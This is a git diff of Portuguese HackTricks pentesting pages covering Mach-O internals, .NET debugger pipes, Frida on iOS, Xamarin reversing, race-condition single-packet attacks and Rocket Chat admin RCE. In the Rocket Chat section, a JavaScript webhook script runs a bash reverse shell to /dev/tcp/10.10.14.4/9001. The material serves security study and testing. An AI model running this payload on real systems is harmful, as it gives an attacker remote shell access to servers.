* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo Telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e para o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

View file

@ -40,7 +40,7 @@ struct fat_arch {
cpu_type_t cputype; /* especificador de CPU (int) */
cpu_subtype_t cpusubtype; /* especificador de máquina (int) */
uint32_t offset; /* deslocamento do arquivo para este objeto */
uint32_t size; /* tamanho deste arquivo de objeto */
uint32_t size; /* tamanho deste objeto */
uint32_t align; /* alinhamento como uma potência de 2 */
};
</code></pre>
@ -125,12 +125,12 @@ Ou usando o [Mach-O View](https://sourceforge.net/projects/machoview/):
<figure><img src="../../../.gitbook/assets/image (4) (1) (4).png" alt=""><figcaption></figcaption></figure>
## **Comandos de carga Mach-O**
## **Comandos de carregamento Mach-O**
Isso especifica o **layout do arquivo na memória**. Ele contém a **localização da tabela de símbolos**, o contexto da thread principal no início da execução e quais **bibliotecas compartilhadas** são necessárias.\
Os comandos basicamente instruem o carregador dinâmico **(dyld) sobre como carregar o binário na memória**.
Todos os comandos de carga começam com uma estrutura **load\_command**, definida no **`loader.h`** mencionado anteriormente:
Todos os comandos de carregamento começam com uma estrutura **load\_command**, definida no **`loader.h`** mencionado anteriormente:
```objectivec
struct load_command {
uint32_t cmd; /* type of load command */
@ -153,7 +153,7 @@ Existem **diferentes tipos** de segmentos, como o segmento **\_\_TEXT**, que con
No cabeçalho, primeiro você encontra o **cabeçalho do segmento**:
<pre class="language-c"><code class="lang-c">struct segment_command_64 { /* for 64-bit architectures */
<pre class="language-c"><code class="lang-c">struct segment_command_64 { /* para arquiteturas de 64 bits */
uint32_t cmd; /* LC_SEGMENT_64 */
uint32_t cmdsize; /* inclui o tamanho dos structs section_64 */
char segname[16]; /* nome do segmento */
@ -172,7 +172,7 @@ Exemplo de cabeçalho do segmento:
<figure><img src="../../../.gitbook/assets/image (2) (2) (1) (1).png" alt=""><figcaption></figcaption></figure>
Este cabeçalho define o **número de seções cujos cabeçalhos aparecem depois** dele:
Esse cabeçalho define o **número de seções cujos cabeçalhos aparecem depois** dele:
```c
struct section_64 { /* for 64-bit architectures */
char sectname[16]; /* name of this section */
@ -195,7 +195,7 @@ Exemplo de **cabeçalho de seção**:
Se você **adicionar** o **deslocamento da seção** (0x37DC) + o **deslocamento** onde o **arquitetura começa**, neste caso `0x18000` --> `0x37DC + 0x18000 = 0x1B7DC`
<figure><img src="../../../.gitbook/assets/image (3) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Também é possível obter **informações de cabeçalho** a partir da **linha de comando** com:
```bash
@ -251,7 +251,7 @@ uint32_t compatibility_version; /* library's compatibility vers number*/
```
![](<../../../.gitbook/assets/image (558).png>)
Você também pode obter essas informações pela linha de comando com:
Você também pode obter essas informações através da linha de comando com:
```bash
otool -L /bin/ls
/bin/ls:

View file

@ -8,7 +8,7 @@
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e para o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e para o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
@ -21,11 +21,11 @@ Ele cria dois pipes nomeados por processo .Net em [dbgtransportsession.cpp#L127]
Portanto, se você acessar o diretório **`$TMPDIR`** do usuário, poderá encontrar **fifos de depuração** que podem ser usados para depurar aplicações .Net:
<figure><img src="../../../.gitbook/assets/image (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
A função [**DbgTransportSession::TransportWorker**](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/shared/dbgtransportsession.cpp#L1259) lidará com a comunicação de um depurador.
A primeira coisa que um depurador precisa fazer é **criar uma nova sessão de depuração**. Isso é feito **enviando uma mensagem via o pipe `out`** começando com uma estrutura `MessageHeader`, que podemos obter do código-fonte do .NET:
A primeira coisa que um depurador precisa fazer é **criar uma nova sessão de depuração**. Isso é feito **enviando uma mensagem através do pipe `out`** começando com uma estrutura `MessageHeader`, que podemos obter do código-fonte do .NET:
```c
struct MessageHeader
{

View file

@ -1,7 +1,37 @@
# Instalando o Frida
# Configuração do Frida no iOS
Vá para o aplicativo **Cydia** e adicione o repositório do Frida indo em **Gerenciar -> Fontes -> Editar -> Adicionar** e digite [**https://build.frida.re**](https://build.frida.re). Isso adicionará uma nova fonte na lista de fontes. Vá para a **fonte frida**, agora você deve **instalar** o pacote **Frida**.
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* Você trabalha em uma **empresa de cibersegurança**? Você quer ver sua **empresa anunciada no HackTricks**? Ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo Telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e para o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
## Instalando o Frida
Vá para o aplicativo **Cydia** e adicione o repositório do Frida indo em **Gerenciar -> Fontes -> Editar -> Adicionar** e digite [**https://build.frida.re** ](https://build.frida.re). Isso adicionará uma nova fonte à lista de fontes. Vá para a **fonte frida**, agora você deve **instalar** o pacote **Frida**.
![](https://miro.medium.com/max/614/0\*qSD26kBtgt\_UIZk1.png)
Depois de instalado, você pode usar o comando `frida-ls-devices` em seu PC e verificar se o dispositivo aparece (seu PC precisa ser capaz de acessá-lo). Execute também `frida-ps -Uia` para verificar os processos em execução no telefone.
Após a instalação, você pode usar o comando `frida-ls-devices` em seu PC e verificar se o dispositivo aparece (seu PC precisa ter acesso a ele). Execute também `frida-ps -Uia` para verificar os processos em execução no telefone.
## Frida sem dispositivo com Jailbreak e sem patch no aplicativo
Confira este post no blog sobre como usar o Frida em dispositivos sem Jailbreak sem patch no aplicativo: [https://mrbypass.medium.com/unlocking-potential-exploring-frida-objection-on-non-jailbroken-devices-without-application-ed0367a84f07](https://mrbypass.medium.com/unlocking-potential-exploring-frida-objection-on-non-jailbroken-devices-without-application-ed0367a84f07)
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* Você trabalha em uma **empresa de cibersegurança**? Você quer ver sua **empresa anunciada no HackTricks**? Ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo Telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e para o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

View file

@ -18,13 +18,13 @@ Xamarin é uma plataforma de código aberto que oferece aos desenvolvedores aces
### Arquitetura do Xamarin Android&#x20;
<figure><img src="../.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
O Xamarin oferece ligações .NET para os namespaces Android.\* e Java.\*. Aplicativos Xamarin Android operam sob o ambiente de execução Mono, com a máquina virtual Android Runtime (ART) em execução lado a lado.
O ambiente de execução Mono chama esses namespaces por meio de Invólucros Chamáveis Gerenciados (MCW) e fornece Invólucros Chamáveis Android (ACW) para o ART.
Ambos os ambientes são executados em cima do kernel Linux e invocam várias APIs para o código do usuário. Essa estrutura permite que os desenvolvedores acessem o sistema subjacente.
Ambos esses ambientes são executados em cima do kernel Linux e invocam várias APIs para o código do usuário. Essa estrutura permite que os desenvolvedores acessem o sistema subjacente.
### Projeto Xamarin iOS
@ -34,13 +34,13 @@ Ele é executado junto com o Objective-C Runtime. Os ambientes de execução sã
O diagrama abaixo representa essa arquitetura:
<figure><img src="../.gitbook/assets/image (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (1) (1).png" alt=""><figcaption></figcaption></figure>
### O que é o .Net Runtime e o Mono Framework?
**.Net framework é um conjunto de assemblies, classes e namespaces** que os desenvolvedores podem usar para criar aplicativos; o .Net Runtime executa o código compilado, e o processo é chamado de execução de código gerenciado. O .NET Runtime oferece várias funcionalidades que garantem a independência de plataforma e são compatíveis com versões mais antigas do framework.
**O .Net framework é um conjunto de assemblies, classes e namespaces** que os desenvolvedores podem usar para criar aplicativos; o .Net Runtime executa o código compilado, e o processo é chamado de execução de código gerenciado. O .NET Runtime oferece várias funcionalidades que garantem a independência de plataforma e são compatíveis com versões mais antigas do framework.
**Mono Framework** foi iniciado em 2005 como uma implementação do .NET Framework para Linux (Ximian/SuSe/Novell). Patrocinado pela Microsoft e liderado pela Xamarin, o Mono é a implementação de código aberto do framework .NET com base nos padrões ECMA para Common Language Runtime e C#.&#x20;
**O Mono Framework** foi iniciado em 2005 como uma implementação do .NET Framework para Linux (Ximian/SuSe/Novell). Patrocinado pela Microsoft e liderado pela Xamarin, o Mono é a implementação de código aberto do framework .NET com base nos padrões ECMA para Common Language Runtime e C#.&#x20;
@ -50,26 +50,26 @@ O diagrama abaixo representa essa arquitetura:
A descompilação é o processo usado para produzir código-fonte a partir de código compilado. Para obter informações sobre os assemblies e executáveis atualmente na memória, o Windows é um ótimo lugar.
Para abrir a janela Módulos, selecione Depurar > Janelas > Módulos. Assim que você detectar o módulo que requer descompilação, clique com o botão direito e selecione "Decompile Source to Symbol File". Essa ação **cria um arquivo de símbolo que contém um código-fonte descompilado que**, por sua vez, permite que você entre no código de terceiros diretamente do seu código-fonte.
Para abrir a janela Módulos, selecione Depurar > Janelas > Módulos. Assim que você detectar o módulo que requer descompilação, clique com o botão direito e selecione "Descompilar fonte para arquivo de símbolo". Essa ação **cria um arquivo de símbolo que contém um código-fonte descompilado que**, por sua vez, permite que você entre no código de terceiros diretamente do seu código-fonte.
O **Visual Studio** descompila o código gerenciado, mesmo na ausência de símbolos, permitindo que você visualize o código, inspecione as variáveis e defina pontos de interrupção. Para extrair o código-fonte para o disco, clique com o botão direito no módulo com o código-fonte incorporado e clique em "Extract Embedded Source". Isso exportará os arquivos de origem para uma pasta de arquivos diversos para análise posterior.
O **Visual Studio** descompila o código gerenciado, mesmo na ausência de símbolos, permitindo que você visualize o código, inspecione as variáveis e defina pontos de interrupção. Para extrair o código-fonte para o disco, clique com o botão direito no módulo com o código-fonte incorporado e clique em "Extrair código-fonte incorporado". Isso exportará os arquivos de origem para uma pasta de arquivos diversos para análise posterior.
### Compilação JIT vs AOT de Aplicativos Xamarin
Existem duas opções para compilar código Xamarin baseado em C# em um aplicativo, ou seja, **compilação just-in-time e compilação ahead-of-time**. A forma de compilação afeta como o código do aplicativo é enviado dentro do arquivo apk ou ipa. Vamos dar uma olhada rápida nisso abaixo:
\- **Android**: O Xamarin permite que você compile usando **as opções JIT e AOT para Android**. Também há uma maneira de obter a maior velocidade de execução usando o modo Hybrid AOT. Observe que o modo Full AOT está disponível apenas para a licença Enterprise.
\- **Android**: O Xamarin permite que você compile usando **as opções JIT e AOT para Android**. Também há uma maneira de obter a maior velocidade de execução usando o modo híbrido AOT. Observe que o modo AOT completo está disponível apenas para a licença Enterprise.
\- **iOS**: Existe apenas uma opção no caso do iOS, **compilação ahead-of-time**. Isso ocorre devido às políticas da Apple, que proíbem a execução de código gerado dinamicamente em um dispositivo.
{% hint style="info" %}
Se você encontrar um aplicativo compilado com Full AOT e se os arquivos de assembly IL forem removidos para reduzir o tamanho da compilação pelo desenvolvedor, a engenharia reversa exigirá uma etapa adicional de extração de arquivos dll dos arquivos .dll.so da pasta lib ou do arquivo `libmonodroid_bundle_app.so`. Se for um aplicativo compilado com Hybrid AOT e os arquivos IL ainda estiverem presentes no pacote do aplicativo, podemos usá-los para engenharia reversa do aplicativo.
Se você encontrar um aplicativo compilado com AOT completo e se os arquivos de assembly IL forem removidos para reduzir o tamanho da compilação pelo desenvolvedor, a reversão exigirá uma etapa adicional de extração dos arquivos dll dos arquivos .dll.so da pasta lib ou do arquivo `libmonodroid_bundle_app.so`. Se for um aplicativo compilado com AOT híbrido e os arquivos IL ainda estiverem presentes no pacote do aplicativo, podemos usá-los para engenharia reversa do aplicativo.
{% endhint %}
## Obtendo os arquivos dll do APK/IPA
Basta **descompactar o arquivo apk/ipa** e copiar todos os arquivos presentes no diretório assemblies:
<figure><img src="../.gitbook/assets/image (2).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (2) (1).png" alt=""><figcaption></figcaption></figure>
No caso dos APKs do Android, esses arquivos dll estão comprimidos e não podem ser diretamente usados para descompilação. Felizmente, existem ferramentas disponíveis que podemos usar para **descomprimir esses arquivos dll** como [XamAsmUnZ](https://github.com/cihansol/XamAsmUnZ) e [xamarin-decompress](https://github.com/NickstaDB/xamarin-decompress).
```
@ -79,9 +79,9 @@ No caso do iOS, **os arquivos DLL dentro dos arquivos IPA podem ser carregados d
**A maioria do código do aplicativo pode ser encontrado ao descompilar os arquivos DLL**. Além disso, observe que os aplicativos baseados no Framework Xamarin contêm 90% do código comum nas compilações de todas as plataformas, como iOS e Android, etc.&#x20;
<figure><img src="../.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
A partir da captura de tela acima, listando os arquivos DLL que estavam presentes no APK, podemos confirmar que é um aplicativo Xamarin. Ele contém arquivos DLL específicos do aplicativo, juntamente com os arquivos de biblioteca necessários para a execução do aplicativo, como `Xamarin.Essentails.dll` ou `Mono.Security.dll`.
A partir da captura de tela acima, listando os arquivos DLL que estavam presentes no APK, podemos confirmar que é um aplicativo Xamarin. Ele contém arquivos DLL específicos do aplicativo junto com os arquivos de biblioteca necessários para a execução do aplicativo, como `Xamarin.Essentails.dll` ou `Mono.Security.dll`.
{% hint style="success" %}
Finalmente, você pode usar [**essas ferramentas recomendadas**](../reversing/reversing-tools-basic-methods/#net-decompiler) para acessar o **código C#** dos DLLs.

View file

@ -1,32 +1,4 @@
## RCE
Se você é um administrador dentro do Rocket Chat, você pode obter RCE.
* Vá para **`Integrações`** e selecione **`Nova Integração`** e escolha qualquer uma: **`Incoming WebHook`** ou **`Outgoing WebHook`**.
* `/admin/integrations/incoming`
<figure><img src="../../.gitbook/assets/image (4) (2).png" alt=""><figcaption></figcaption></figure>
* De acordo com a [documentação](https://docs.rocket.chat/guides/administration/admin-panel/integrations), ambos usam ES2015 / ECMAScript 6 ([basicamente JavaScript](https://codeburst.io/javascript-wtf-is-es6-es8-es-2017-ecmascript-dca859e4821c)) para processar os dados. Então, vamos obter um [rev shell para javascript](../../generic-methodologies-and-resources/shells/linux.md#nodejs) como:
```javascript
const require = console.log.constructor('return process.mainModule.require')();
const { exec } = require('child_process');
exec("bash -c 'bash -i >& /dev/tcp/10.10.14.4/9001 0>&1'")
```
* Configure o WebHook (o canal e o nome de usuário da postagem devem existir):
<figure><img src="../../.gitbook/assets/image (1) (8).png" alt=""><figcaption></figcaption></figure>
* Configure o script do WebHook:
<figure><img src="../../.gitbook/assets/image (2) (1) (1) (2).png" alt=""><figcaption></figcaption></figure>
* Salve as alterações
* Obtenha a URL do WebHook gerado:
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
* Chame-o com curl e você deve receber o rev shell
# Rocket Chat
<details>
@ -35,7 +7,49 @@ exec("bash -c 'bash -i >& /dev/tcp/10.10.14.4/9001 0>&1'")
* Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e para o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
## RCE
Se você é um administrador dentro do Rocket Chat, você pode obter RCE.
* Vá para **`Integrações`** e selecione **`Nova Integração`** e escolha qualquer uma: **`Incoming WebHook`** ou **`Outgoing WebHook`**.
* `/admin/integrations/incoming`
<figure><img src="../../.gitbook/assets/image (4) (2).png" alt=""><figcaption></figcaption></figure>
* De acordo com a [documentação](https://docs.rocket.chat/guides/administration/admin-panel/integrations), ambos usam ES2015 / ECMAScript 6 ([basicamente JavaScript](https://codeburst.io/javascript-wtf-is-es6-es8-es-2017-ecmascript-dca859e4821c)) para processar os dados. Então vamos obter um [shell reverso para javascript](../../generic-methodologies-and-resources/shells/linux.md#nodejs) como:
```javascript
const require = console.log.constructor('return process.mainModule.require')();
const { exec } = require('child_process');
exec("bash -c 'bash -i >& /dev/tcp/10.10.14.4/9001 0>&1'")
```
* Configurar o WebHook (o canal e o nome de usuário para postar devem existir):
<figure><img src="../../.gitbook/assets/image (1) (8).png" alt=""><figcaption></figcaption></figure>
* Configurar o script do WebHook:
<figure><img src="../../.gitbook/assets/image (2) (1) (1) (2).png" alt=""><figcaption></figcaption></figure>
* Salvar alterações
* Obter a URL do WebHook gerada:
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (2).png" alt=""><figcaption></figcaption></figure>
* Chame-o com curl e você deverá receber o rev shell
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* Você trabalha em uma **empresa de cibersegurança**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

View file

@ -1,8 +1,10 @@
# Condição de corrida
# Condição de Corrida
![](<../.gitbook/assets/image (9) (1) (2).png>)
Use o [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) para construir e automatizar facilmente fluxos de trabalho com as ferramentas da comunidade mais avançadas do mundo. Obtenha acesso hoje:
\
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir e **automatizar fluxos de trabalho** com as ferramentas comunitárias mais avançadas do mundo.\
Acesse hoje mesmo:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
@ -10,136 +12,222 @@ Use o [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=ban
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Você trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? Ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo Telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e para o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
## Qualquer coisa limitada por um número de tentativas
## Explorando a Condição de Corrida
Condições de corrida são **vulnerabilidades** que **aparecem** em sites que **limitam o número de vezes que você pode realizar uma ação**. Um exemplo muito fácil pode ser encontrado neste [**relatório**](https://medium.com/@pravinponnusamy/race-condition-vulnerability-found-in-bug-bounty-program-573260454c43).
O principal problema de abusar da Condição de Corrida é que você precisa que as solicitações sejam processadas em paralelo com uma diferença de tempo muito curta (geralmente >1ms). Na seção a seguir, são propostas diferentes soluções para tornar isso possível.
## Usando várias vezes um código de uso único
<figure><img src="../.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
Quando você faz a página da web executar alguma **ação** que **deve ser feita apenas uma vez**, mas se a ação for feita **várias vezes**, você será **beneficiado**, você realmente precisa tentar uma **condição de corrida**.\
Na maioria das vezes, isso está diretamente relacionado com **dinheiro** (se uma ação for realizada, você recebe X dinheiro, então vamos tentar fazê-la várias vezes muito rapidamente)**.**
### Ataque de pacote único
### **Usando da mesma conta o mesmo código várias vezes**
O HTTP2 permite enviar **2 solicitações em uma única conexão TCP** (enquanto no HTTP/1.1 elas devem ser sequenciais).\
O uso de um único pacote TCP elimina completamente o efeito do jitter de rede, portanto, isso claramente tem potencial para ataques de condição de corrida também. No entanto, **duas solicitações não são suficientes para um ataque de corrida confiável** devido ao **jitter do lado do servidor** - variações no tempo de processamento da solicitação do aplicativo causadas por variáveis incontroláveis como contenção de CPU.
Por exemplo, neste [**bug**](https://hackerone.com/reports/759247), o caçador foi capaz de **carregar o dinheiro dentro de um cartão-presente várias vezes**.
Mas, usando a técnica de '**sincronização do último byte**' do HTTP/1.1, é possível pré-enviar a maior parte dos dados retendo um pequeno fragmento de cada solicitação e depois 'completar' **20-30 solicitações com um único pacote TCP**.
Este é o script **turbo intruder** usado para **testar** a **condição de corrida** do relatório mencionado:
Para **pré-enviar a maior parte de cada solicitação**:
* Se a solicitação não tiver corpo, envie todos os cabeçalhos, mas não defina a flag END\_STREAM. Retenha um quadro de dados vazio com a flag END\_STREAM definida.
* Se a solicitação tiver um corpo, envie os cabeçalhos e todos os dados do corpo, exceto o último byte. Retenha um quadro de dados contendo o último byte.
Em seguida, **prepare-se para enviar os quadros finais**:
* Aguarde 100ms para garantir que os quadros iniciais tenham sido enviados.
* Verifique se o TCP\_NODELAY está desativado - é crucial que o algoritmo de Nagle agrupe os quadros finais.
* Envie um pacote de ping para aquecer a conexão local. Se você não fizer isso, a pilha de rede do sistema operacional colocará o primeiro quadro final em um pacote separado.
Por fim, envie os quadros retidos. Você deve ser capaz de verificar que eles chegaram em um único pacote usando o Wireshark.
{% hint style="info" %}
Observe que isso **não funciona para arquivos estáticos** em determinados servidores, mas como arquivos estáticos não são relevantes para ataques de condição de corrida. Mas arquivos estáticos são irrelevantes para ataques de CC.
{% endhint %}
Usando essa técnica, você pode fazer com que 20-30 solicitações cheguem ao servidor simultaneamente - independentemente do jitter de rede:
<figure><img src="../.gitbook/assets/image (1).png" alt=""><figcaption></figcaption></figure>
**Adaptando à arquitetura do alvo**
Vale ressaltar que muitos aplicativos estão atrás de um servidor de front-end, e estes podem decidir encaminhar algumas solicitações por conexões existentes para o back-end e criar novas conexões para outras.
